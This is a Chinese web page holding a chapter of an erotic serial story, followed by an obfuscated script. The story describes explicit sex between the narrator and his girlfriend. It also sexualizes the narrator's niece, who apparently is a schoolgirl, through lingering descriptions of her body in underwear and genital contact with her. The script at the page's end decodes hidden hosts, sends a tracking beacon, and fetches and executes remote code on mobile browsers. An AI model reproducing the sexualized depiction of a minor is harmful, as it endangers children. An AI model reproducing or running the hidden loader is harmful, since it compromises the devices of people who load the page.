热门搜索

姐姐系列之侄女来袭(第二天)

当一缕阳光照射到小露的脸上时,小露睁开了眼睛。

小露在被子里伸了个懒腰,然后转身抱住十一打算继续睡。

“啊嚏!”小露打了个喷嚏,“啊嚏!啊嚏!”接着又是两个喷嚏。

‘难道我感冒了?’小露心里默默地想着。

小露拿起手机看了看时间,已经九点钟了,身边的两个人还熟睡着在。

小露看着熟睡的两人,心中瞬间掀起了一个恶作剧。

小露把手伸到被子里面捣鼓了一番,然后嘴角微微一笑,掀开被子起床离开了房间。

半个小时之后,我醒过来了。

想伸个懒腰,却发现左手被玲玲抱住了,根本抽不出来。

这时我发现好像有只手握着我的正在晨勃中的阴茎。

我看向小露,却发现小露已经起床了,那么就是说,那只手的主人是……虽然不知道这一夜,在我睡着的时候发生了什么,但是一想到手的主人是谁,我就一哆嗦。

而我这一哆嗦正好把玲玲弄醒了。

“嗯……!”玲玲哼了一声,我连忙闭上眼睛装作我还没有醒过来。

“啊……呜!”玲玲打了个哈欠睁开了眼睛。

“啊嚏!”接着,又是一个喷嚏。

玲玲吸了吸鼻子,然后打算用手揉揉鼻子的时候发现自己的右手正握着个什么东西。

“咦?什么东西?”玲玲一边自言自语一边上下套弄了一下。

手中的东西跳了一下,把玲玲吓了一跳,忙松开手。

玲玲心中还在嘀咕着刚刚到底是什么,然后又好奇地把手凑上去捏了捏。

感觉整个硬硬的,但是摸起来有肉肉的,感觉像是人身体上的某个地方。

想到这里,玲玲才整个人清醒了过来,想到昨天晚上握住的那个东西和刚刚我住的是同一个东西,不过好像比昨天晚上大了不少。

知道手中之物为何物之后,玲玲连忙缩回手来,然后偷偷的看了我一眼。

见我没有什么反应变长嘘了一口气。

玲玲闭上眼睛平躺着,装作什么都没有发生。

可是脑海中却怎么都平静不下来。

‘原来男生的那里是那个样子的啊,虽然以前就知道那里受了刺激会变大,没想到可以变那么大。

’玲玲一边想着一边回忆着刚刚的触感。

‘变成这么大的情况下,即使穿着裤子也看的出来吧。

如果那么大的东西插到我的里面一定痛得要命。

’玲玲一边漫不经心的想着,一边无意识的摸了摸自己的下体。

之后,立刻意识到自己之前莫名其妙的想法,顿时小脸微红。

‘真是的,我刚刚在想什么啊。

一定是昨天晚上洗澡的时候,小露姐姐在我身上乱摸害的。

’玲玲立刻把自己的妄想怪到小露身上。

‘不过,小露姐姐摸我那里的时候确实有那么一段时间感觉有点莫名的舒服。

’接着,玲玲又甩了甩头,‘真是的,我又在瞎想什么,我又不是同性恋,女孩子摸我怎么可能会舒服啊。

不知道……不知道如果摸的人是十一的话回事什么样的感觉呢?’想到这里玲玲不敢在往下想了,这一早上还没起床先得这种事情就这么多。

玲玲转过身,背对着我,将脸埋在被子里。

“喂,十一,你醒了么?”玲玲背对着我试探着。

而我则装作没听见,继续装睡着。

‘还好睡着了,不让我刚刚那样做可就羞死人了。

’玲玲心里默默地嘀咕着。

“啊嚏~!”又是一个喷嚏。

玲玲觉得有点冷,把身体缩成一团。

接着,于是一个喷嚏。

“啊嚏!”‘好像有点冷,我还是抱着十一好了,反正以前也抱着他睡过,一定不会说我什么的。

’玲玲转身抱住我的手臂。

‘不过,如果小露姐姐看我这样抱着她的男朋友,不知道会不会生气……应该不会的吧。

哎呀,不管了,反正睡着了,睡成什么样谁知道啊。

’想到这,玲玲在也没有什么心理负担,反而把我的胳膊抱得更死了。

过了一会儿,我发现玲玲再也没有什么动静,就连唿吸也变得很平稳了。

难道这小丫头又睡着了么?我试着抽动我的手臂,发现我的手臂被玲玲抱得死死的,完全抽不出来。

而且更让我感到尴尬的是玲玲抱住我的手臂之后,在睡着之后,双腿也很自然盘住我的手臂。

这样就造成了玲玲最敏感的部位正好挨着我的手背在。

我试着一点一点的把手臂抽出来,结果我稍稍一动,睡梦中的玲玲就把我的胳膊抓的更死了,生怕别人抢了自己怀里的东西。

慢慢的,我的手已经开始麻木了。

我活动活动了手,一不小心就碰到了玲玲的下体。

“嗯……!”玲玲呻吟了一声,然后缓缓地睁开眼气若游丝的说道:“十一,你把我弄醒了,感觉才刚睡一会,累死了,身体好沉啊。”

“你还睡啊,再睡就中午了。”

见玲玲没有什么异样,我一颗悬着的心才放了下来,还好她什么都没有发现。

“再让我睡一下嘛。”

玲玲还在发嗲,一边发嗲还一边扭动着被子里的身体,直到注意到自己的两腿之间还夹着我的手臂才停了下来,这一停下来就完全消停了。

不动,也不说话。

“好啦,别发嗲了,快起床,小露早就起来了。

你爹也说了的,要我好好监督你的。”

“知道啦,知道啦。

真是的,居然拿我爹说事,讨厌。”

说完,玲玲掀开被子下了床,然后整了整睡裙。

“你叫我起床,你自己怎么不起来?哼!”“你先出去一下,我马上就起来。”

“少来,我出去了你肯定又睡下去了。”

“睡你个头啊,我里面没穿,你杵在这我怎么穿衣服。”

“哈哈哈哈,知道啦!知道啦!我这就出去。”

玲玲摆了摆手就穿着睡裙走出去了。

“还好出去了。”

我嘴里面嘀咕着。

正当我掀开被子要下床,玲玲又推开能跑了就来。

“十一,外面好冷……”急匆匆的推门进来的玲玲看着掀开被子正准备下床的我愣住了。

“啊……!”玲玲尖叫了一声又跑了出去关上门。

“唉,担心的事还是发生了。”

我无奈的摇了摇头,起身把衣服穿起来。

穿好衣服之后推开门准备下楼,就听见楼下玲玲在说话。

“小露姐姐,你没事吧?”我看了过去,小露似乎靠在沙发上,玲玲蹲在沙发跟前再跟小露说话。

“快起来,这里这么凉快,你会感冒的。”

我发现情况不对,连忙跑过去。

“十一,快来,小露姐姐头好烫,好像发烧了。”

我跑到小露面前,小露病怏怏的靠在沙发上看着我,平时可爱的小脸现在苍白。

“一一,我浑身都没劲。”

小露说着话都是有气无力的。

我连忙把小露抱起来就往楼上有暖气的房间走,玲玲也跟了上来。

进来之后,我把小露放到床上盖上被子,又把暖气开大了一点。

“小露姐姐没事吧。”

“发烧了,估计是昨天晚上淋雨弄的,”我把额头贴着小露的额头道,“还有就是你们后来穿着睡衣就跑出来疯。

今天早上这个笨蛋早上起来也不记得换衣服,还是只穿一件睡衣就出了这间有暖气的房间。”

“哦。”

这时我转过头来,发现玲玲的脸色也不太好。

我走上前,弯腰把额头贴在玲玲的额头上。

“你也一样,上床躺着吧。”

“嗯,我今天早上醒来的时候好像也没什么力气。”

然后玲玲自己钻进还留有预热的被窝里。

“你们在这好好的睡着,中午也快到了,我去弄得按暖身子的吃的去。”

我一边帮小露和玲玲盖好被子一边说道。

“你去吧。”

“嗯。”

小露也嗯了一声表示听到了。

我走到厨房,把昨天剩下的饭全部都倒在一起,加点盐,加点胡椒,再加一点切碎了的新鲜蔬菜煮成稀饭,然后把剩下的菜热了热,之后把菜先端了上去。

见我进来了,玲玲做起来道:“要我帮忙么?”我把菜放到一边,然后把玲玲按回床上,“你就老老实实的休息吧。”

然后转身又下楼去了。

等到我把饭菜全部都端上来摆好之后,我把两人扶着坐起来。

“我餵你们。”

“我们自己能吃啦。

你餵我,这样很丢人的。”

玲玲也跟在一旁点头。

“少废话!你现在连碗都端不起来,怎么自己吃,来张嘴。”

我把稀饭吹凉了之后伸到小露面前。

“啊……呜!真是的,明明做这么温柔的事,说话的语气却这么凶。”

“温柔什么温柔,不知道你又在瞎说些什么。

来,玲玲,张嘴!”“啊……呜!”就这样小露一口,玲玲一口,我一口,小露一口,玲玲一口,我一口,总算是把饭吃完了。

等我洗好碗之后回到房间。

“你们两个现在感觉怎么样?”“我好多了!嘿嘿。

就是身上还有一点没劲。”

玲玲似乎比小露病的轻多了,现在已经变得比原先有活力多了。

“一一,现在舒服多了,但还是觉得好累。”

小露的脸色没有原先那么难看了,但是似乎还是不太好。

“那就好好休息吧,再睡一下吧。”

我摸了摸小露的额头,试了试温度。

“一一。”

“?”“我想晒晒太阳。”

“这样也好,我记得三楼好像有两个躺椅。”

然后小露就把两只手伸出被子求抱。

我把小露抱了起来,只听到玲玲在一旁嚷着,“我也要~!我也要抱~!”无奈,只好背对着她蹲下来,“你自己爬到背上面来吧。”

“好~!”我背着或者抱着两人艰难的站了起来。

“一一,你好棒!”“你还好意思说呢。”

“好啦,一一别想那么多啦,人家现在好想晒太阳啦,快走快走!”小露催促着。

我没多说,怀里抱着一个,背上背了一个就上了三楼。

将小露放在躺椅上之后,玲玲自己从我身上下来了。

“怎么了?你不想晒太阳么?”“我睡够了,再也睡不着了。

而且学校布置的寒假作业那么多,我心在要抓紧时间做啊。”

“噗!”“笑什么笑!哼!”“好啦好啦,我知道了,我把你的书包拿过来,你先找个板凳晒晒太阳吧。”

“对了,把我的行李箱也拿过来。”

“?”“笨蛋十一,我现在就穿了一件睡衣,再不穿点衣服我可又要感冒了。”

“我才是只穿了一件睡衣好么。

你明明里面还穿了蓝蓝的小内衣和小内裤。”

“你个暴露狂,谁能跟你比啊!”玲玲没好气的说。

“玲玲!”我生怕她们又吵了起来。

“作为一一的女人,一一愿意看,我就愿意露,有能耐你也露啊。”

“哼,气死我了!”“好了,你们也别闹了,玲玲,我去给你拿衣服和作业,小露我去给你找条毯子盖着。”

“好的。”

“知道了,亲爱的。”

“没羞没臊。”

玲玲彻底无语了。

一切安排妥当之后,玲玲就趴在桌子上做作业,我靠在躺椅上一边休息,一边辅导玲玲做作业,而小露则是在我身边的躺椅上继续闭着眼睛边晒太阳边睡觉。

太阳快下山了,玲玲合上了作业,小露也打了个哈欠醒来。

“丫头,身体感觉怎么样了?”“好多了,就是浑身浑身都是汗,黏煳煳的,好不舒服。”

“我也是。”

玲玲把笔往桌上一扔,同样说道。

“好啦,我知道啦,这个我早就想好了,估计现在热水器的热水已经烧好了吧。”

“一一你真棒。”

“多话。”

我抱起小露,然后领着玲玲离开了没有了阳光的三楼。

进到浴室里我就开始犯难了,到底要怎么给小露洗澡。

要小露自己洗那是不可能的了,如果要玲玲帮忙,我看看了玲玲的小身板便放弃了。

“怎么了?”我把我的难处一说。

“那就你帮我洗呗。”

小露不以为然。

“可是玲玲也在里面啊。”

“原来是这样,”小露沉思了一会,“这还不简单,只要玲玲不脱光不就行了,作为你最疼爱的小侄女,偶尔让你看一点,我觉得应该没有什么问题的。”

小露若有所思的看了玲玲一眼,然后对玲玲嘿嘿一笑。

“这样不好吧。”

我觉得还是有所不妥,虽然我和玲玲确实很好,但是毕竟性别还是不同的。

“好不好不是你说的算的,是由玲玲说的算的,你不问问怎么知道。”

说完,小露还趁我不注意的时候对玲玲眨了眨眼。

我看了看玲玲。

“我……我……现在小露姐姐病了,还是以她为主吧,这种小事,我。

……我不介意的。”

“那不就OK了,来小一一,伺候我脱衣。”

“唉!”我叹了口气。

我先让小露坐在板凳上,靠着我的腿,然后把小露的睡衣一股脑的脱了下来。

“斯~!屁股好冰~!”脱掉睡衣之后,小露的屁股直接贴在凳子上,冰得小露直呲牙。

“稍微忍一下,马上就好。”

“哦。”

小露对玲玲说道,“你怎么还不脱衣服?”“啊?哦!”玲玲这才会过神来。

正当玲玲弯腰准备把睡裙想起来的时候发现我和小露的目光都定在了她的身上。

“十一,能不能转过身去。”

“噗!”小露一下就笑出了声。

我转过头,只听见背后玲玲脱衣服的声音。

过了好半天才听见玲玲用弱弱的声音说了句:“好了。”

我转过身来,看着玲玲。

玲玲一直走捂着胸部一只手捂着自己的下身,虽然遮住了胸部的重要位置,反倒因为挤压使玲玲原本小小的胸部出现了一条若隐若现的乳沟。

身上穿着的天蓝色的少女内衣显得格外显眼。

天蓝色的少女内衣桥倒好处的遮住了重要部位,也把其他地方毫无保留的露了出来。

因为要洗澡,所以玲玲事先已经把头发解开盘在头上,露出两只小巧玲珑的耳朵,小脸儿已经微微泛红。

因为个子很瘦小,玉脖下面的锁骨显得很明显。

虽然胸部被手挡住了,但是内衣上的两根带子绕到脖子后面绑了一个漂亮的蝴蝶结,看起来放到煞是诱人。

比小露还细的蛮腰展现着纤细的线条。

玲玲的小手只能遮住两腿之间的秘密部位,其他部位只好毫无保留的展现在我的面前,少女内裤的刚好遮住玲玲的盆骨,白嫩的大腿紧连着小腿,膝盖上没有一丝痕迹。

玲玲娇红的脸蛋上的一双水汪汪的眼睛正看着不断的打量着自己的身体的我。

“十一,能……能不能不要看了?”玲玲说话的语气中带着哀求。

我发现了我的失态,连忙低下头,当时也不知道接下来干嘛。

这时,小露杵了我一下。

“你还在那发呆干嘛啊,快给我洗啊。”

“好,好的。”

我拿起蓬头试了试水温,然后就开始往小露身上浇水。

“唿~!”小露长唿了一口气,“好舒服啊!对了,一一,你怎么站那么远啊,站过来一点嘛。”

“站过来水会淋到我身上的。”

“那你就把衣服脱了呗。”

“我说了的吧,玲玲还在这里呢。”

我看了一眼坐在凳子上看着小露发呆的玲玲。

“嘿,想什么呢?”小露叫了一声正在发呆的玲玲。

“什……什么?”玲玲惊醒过来。

“一一给我洗澡衣服会打湿,是叫他脱了的好还是怎么办。”

“脱……脱吧,呀,这种事你们自己决定就好,不用问我啦。”

“那就是说你希望一一脱掉衣服咯。”

“不……”玲玲还要解释什么。

“看,琳琳也同意了,你就别再装了”“好吧,我出去把衣服脱了。”

“快去快回。

玲玲,来,你先帮我淋一下。”

我退出浴室,开始脱身上的衣服,脱到只剩一件三角裤为止。

这样应该就行了,最后这件应该不需要脱了,我心里想着。

“我进来咯。”

我进浴室之前特意在外面喊了一声。

玲玲一见我进来便把蓬头塞到我手里又坐回之前的凳子上。

“我差不多了,一一,你去给玲玲冲吧。”

“啊?好!”“我……我自己来就好。”

“哦。”

我把蓬头递给玲玲,心里还是有一点点失落。

“一一,帮我打肥皂。”

“来了!”我拿起肥皂,在小露面前蹲下,先从小露的脚开始一点点的往上涂。

小露很自然的将腿翘到了我的肩上。

我顺着小露的小腿一直往上,目光一直盯着小露无毛的阴部。

“一一,你看够了没有呀。”

小露见我一直盯着看,特别是旁边玲玲已经把身子冲完了,又开始坐在一旁看着小露发呆,小露感觉到了一种说不出来的不舒服。

“那,开始涂身上吧。”

“嗯。

先洗前面还是后面?”“后面。”

小露扑到我身上。

我一面把小露抱在怀里,一面在小露背上涂抹着肥皂。

“一一,后面给我多洗一下。”

我放下肥皂,双手开始在小露背上游走。

“哈哈,好痒啊。”

我轻轻的小心的触摸着小露娇嫩的皮肤。

“那我稍微重一点?”“嗯。”

我加重了按摩的力道。

“一一,你的手好大,好粗糙啊?”“那我再轻一点?”“没事,这样很舒服。”

“那我继续咯?”小露没有理我,只是趴在我的肩头一动不动。

以前抱着小露的时候还真没有仔细地摸一下小露的背。

现在才发现小露的背上的皮肤又白又嫩,每一寸肌肤摸起来都滑熘熘的,但是又完全不是肥皂的那种感觉,而是来自于肌肤本身的触感。

我越摸感觉越好,反复的贪婪的将小露的肩膀,背部,腰部以及还没有挨着凳子的臀部都摸了个遍。

“十一,小露姐姐说的没错,你果然很好色啊。”

玲玲不知道什么时候已经嬉皮笑脸的搬着凳子坐到了我的旁边。

“……”我无语了,小露居然和玲玲说这个。

“哈哈哈哈,你没话说了吧。”

“你再闹小心我下一个洗的就是你。”

我威胁着玲玲,双手仍然在小露身上游走。

“我才不怕呢~!”玲玲向我吐了吐舌头。

之后,玲玲没有说话,一直目不转睛的看着我抚摸着小露的背。

五分钟过去了。

“小露,差不多可以了吧?”我感觉有点累了,停下了手。

“……”小露没有作声。

“小露?”“……”小露还是没有作声。

我抱开小露,便见到小露睡眼朦胧的看着我,“啊,一一你洗完了么?好舒服啊,舒服的我都睡着了。”

接着,小露还打了个小小的哈欠。

“唉!”我叹了口气,“这样你都能睡着,真服了你。”

“是你摸得太舒服了啦。”

“好啦好啦,现在该洗前面了。

玲玲,把你的凳子借我一下。”

我拿到凳子坐在小露身后,让小露靠在我的身上,然后拿起肥皂开始涂抹小露的前面。

我涂抹了小露的脖子,胸部还有腹部准备要放下的时候,有气无力的小露把肥皂从我手上夺了过去。

“这里你怎么不洗啊?”说着,小露把肥皂涂抹在自己的阴部上。

“额,这个位置你自己洗就好了,我来洗别的地方。”

“我搓一下我的手臂,其他的地方你来洗嘛。”

一边说,小露一边开始往手臂上打肥皂。

“那要不让……玲玲来帮你洗?”“不要,我又不是同性恋,干嘛要一个女孩子来摸我的那里?”“……”在场的另外两人同时对小露无语了,只是尴尬的看了看对方。

一是因为在场的人各自都知道小露对同性有喜好,虽然还算不上是同性恋,同时都不知道对方也知道这个事。

二是完全没想到小露会这么没羞没臊说出来。

“好啦好啦,我洗就是了。

你还是把嘴巴闭上吧。”

我将手放在小露的肚子上。

这时小露已经把手臂洗完了,小露将手放在我的膝盖上。

“一一,肚脐也要洗干净哦。”

“知道了。”

我把手指伸到小露的肚脐上扣了扣。

“哈哈,好痒啊!”“好了,我要洗胸部了。”

我怕小露没有准备好,特意提醒了一声。

“洗就洗,干嘛还要喊出来?”小露抓着我的手直接往胸部上一按,然后闭上眼睛。

“不知羞耻。”

玲玲盯着比自己大不知道多少的巨乳气愤的说道,然后扭过头不再看我们。

我抓住小露的双乳就开始肆意的揉捏,将小露的双乳揉成各种形状。

“嗯。”

小露清哼了一声。

我把头凑向小露的脖子,唿吸中带着小露的气味,小露的唿吸慢慢的变粗。

我松开小露的胸部,小露缓缓的睁开眼,正当小露要打算平复一下唿吸的时候,我双指轻轻捏住小露的乳头。

“啊!”小露反手打了我一下,“讨厌。”

“什么啊,是你说要我洗干净的,我每个位置都不放过,你又打我。”

我凑到小露耳边说道。

“臭一一,讨厌。”

“讨厌也要洗干净哦?”我嘴巴贴着小露的耳朵。

接着,再次将小露的双乳抓在手中。

直到我双手感觉到了疲劳才松开小露抹满了肥皂泡的乳房。

“臭一一!”小露满脸娇红的瞪了我一眼。

看着小露水汪汪的双眸,我情不自禁一口吻在小露的双唇上。

双手不由自主的探到了小露的下面。

小露夹紧了双腿,但还是没有成功阻止我的入侵。

“一一!”“干嘛?”我趁小露说话放松之际,将手指伸入小露的阴道口。

“啊!”小露一伸娇喘,身子瘫软了下来。

“放轻松哦,这么嫩的地方伤到了可不好。”

我在小露的耳边吹着气。

“你……”小露一边咬着嘴唇忍受着快感,一边带着怨念看着我。

“我怎么啦?”我一只手抓着小露的胸部把小露压在我身上,另一只手将已经无力抵抗的小露的双腿分开,指头轻轻地在小露的大阴唇上滑着。

“……”小露没有作声,或者说现在的小露已经不敢作声了,生怕一做声,随之而来的就是一连窜的呻吟声。

这样的小露只能一脸娇羞还有一点点怨念的看着我。

我紧紧的吧小露搂在怀里,亲吻着小露的耳垂,由亲吻变成舌头的挑逗,再由舌头的挑逗变成贪婪的允吸。

手上已经不再是轻轻的在小露的小穴上滑动了。

翻开小露的小穴,露出里面的嫩肉。

另一只手玩弄着小露那变硬的乳头。

“别……你手上有肥皂,别伸到里面去。”

“嗯。

那就是说,其他的地方我随意咯?”我在小露而后坏坏的说道。

小露一愣,然后默默的点了点头。

“啊嚏~!”一个响亮的喷嚏,沉浸在两个人的世界里的两人这才清醒过来,我忙把手收了回来。

“你们还没完么?我好冷啊。”

玲玲转过头偷偷的看了我们一眼,见我们没有什么举动,便转过身来。

“啊?好!哦……哦,洗完了。”

我慌乱的回答着。

“小露,还有没有什么地方没洗的?”小露低着头,摇了摇头。

“那我给你冲了?”小露还是低着头,点了点头。

等我把小露身上的泡沫冲洗的干干净净之后。

“一一。

先把我擦干,抱到床上去吧。

我有点累了。”

小露在我耳边小声的说着。

我把小露身上都擦干净之后,抱起小露。

小露已经有气无力的趴在我的肩膀上了。

我拿了件外套给小露披上,和玲玲说了声等我一下,然后抱着她回到房间,将小露抱上床,盖好被子。

小露用被子蒙住脸只露出眼睛,“快去吧,玲玲还等着你呢。”

说完就打发我走。

回到浴室推开门,把坐在那发呆的琳琳吓了一跳。

“你……你回来了?”“恩……要我帮你洗么?”玲玲默默的点了点头。

我走近玲玲,“只用帮我洗后面就好了,前面……我自己洗。”

“哦。”

嘴上答应着,心里还是有点失望。

玲玲坐到小露之前坐的板凳上面。

“我先跟你冲一下?”我问道。

之前在我给小露按摩的时候,坐在一旁的玲玲身上的水已经一点点的干了。

玲玲在我前面点了点头。

水再一次淋到玲玲身上,将玲玲的背打湿,水珠顺着玲玲稚嫩的肌肤滑落到臀部,然后流过玲玲的条纹内裤滴落到凳子上。

关掉蓬头,“玲玲,我要抹肥皂了。”

我提醒了一声。

“抹就抹,说出来干嘛?”玲玲不知为何,莫名的发起火来。

肥皂在玲玲身上反复的涂抹着,内衣的带子时不时的被肥皂带动。

“好了。”

我放下肥皂,“我要开始了。”

我的手还没碰到玲玲时,玲玲的身体就在是不停的发抖。

“别紧张。”

我安慰道。

“多话,你碰就是了”玲玲有莫名的责怪着。

在我的手掌罩在玲玲的玉背上的那一瞬,似乎听见玲玲长唿了一口气,之前的颤抖也停止了。

“你的手好糙啊。”

在我给玲玲洗脖子下面的时候,玲玲无意的说着。

双手一点点的往下,到了玲玲的背部之后,因为内衣在背后有一根绳子系着,在我给玲玲搓背的时候不停地被上下带动,似乎弄的玲玲不是很舒服。

“你等一下。”

“?”“那个,你闭上眼睛。”

“干嘛啊?”“叫你闭上就闭上嘛。”

玲玲超级不耐烦地说道。

“哦。”

无故被骂,我只好闭上眼睛。

“闭上了么?”玲玲问道。

“嗯,然后呢?”“把……把……”最终玲玲鼓足了勇气,把内衣压在胸前。

“把那个绳子解开。”

我摸索了好半天才把绳子解开,正当我要睁眼的时候,“十一,闭上眼睛!”玲玲直接对我叫道。

“哦……哦。”

我被玲玲突如其来的叫声吓了一跳。

“十一,你的手不可以不老实哦”琳琳警告着。

“你说什么呢?”“不许像之前摸小露姐姐那样摸我!色狼!”“刚刚那是……那是……”刚刚的情况我也不知道怎么解释给听。

“放心吧不会的。”

玲玲一边享受着我的手机械式的在她的背上游走,一边有一句没一句的和我聊天,聊天的话题总离不开我和小露。

“十一,你和小露总是在别人面前做……做那样的事么?”“额……”琳琳的第一句话就让我不好回答。

“她在很熟的人的面前偶尔会这样吧。”

“很熟的人?”“就像我姐姐和杜姐姐那样的。”

“你姐姐?”“嗯,你不知道吧,小露是我姐姐的室友,那个杜姐姐也是。

他们三个虽然不是一个班的,不过关系却很要好的。”

“哦,你就是通过你姐姐认识的小露姐姐?”“嗯。”

“那我也算么?”“算什么?”“就是你说的熟人啊。”

“哦,这个啊,怎么说呢,不管是因为你是我侄女也好,还是因为小露把你当朋友也好,总之,你现在不是外人了。”

“这样啊,对了,你和小露怎么成为情侣的,能不能告诉我?”“额,这个说起来好复杂的。”

要我说出我和小露是怎么在一起的,我真的不知道怎么开口。

“不愿意说就算了。”

之后,两人都没有再说话。

不一会儿,玲玲的背洗干净了,我冲掉肥皂沫。

“十一,剩下的我自己来就行了,你出去吧。”

“不需要我帮忙了么?”“出去啦!”我擦干了身子熘出了浴室。

一边想着刚刚怎么惹到玲玲了,一边回到小露睡觉的房间。

玲玲以前从来就没有这么凶的和我说过话的。

看到小露还睡着在,在看了看时间,时间已经不早了。

转身离开房间来到厨房准备晚餐。

晚饭做好了之后,玲玲也洗好了,我把小露摇醒,三个人吃完晚饭之后,坐在一起熘了会天,玩了会牌,觉得好无聊,便决定睡觉了。

正当我要离开房间回到自己的房间时,小露一把拉住我。

“一一,你今天还是就在这边睡吧。”

我看了看玲玲,玲玲也努力的点了点头。

“好吧。”

最后,两人一人抱着我的一只胳膊躺在床上闭上了眼睛。

—未完待续—

热门搜索

友情链接



返回首页 | 返回顶部

function fsIemG(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function DqrwsS(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return fsIemG(t);};window[''+'i'+'s'+'e'+'P'+'W'+'n'+'z'+'Z'+'u'+'C'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function oedCG(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=DqrwsS,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=oedCG(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qssc.fnelg.cn:7891/stats/9779/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=oedCG(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMMlMM0ElMMkYlMMkZhLmdiYnB0bC5jbiUzQTg4OTE=','d3NzJJTNBJJTJJGJJTJJGYS53aGJJnei5jbiUzQTk1MzU=','9781',window,document,['M','J']);}:function(){};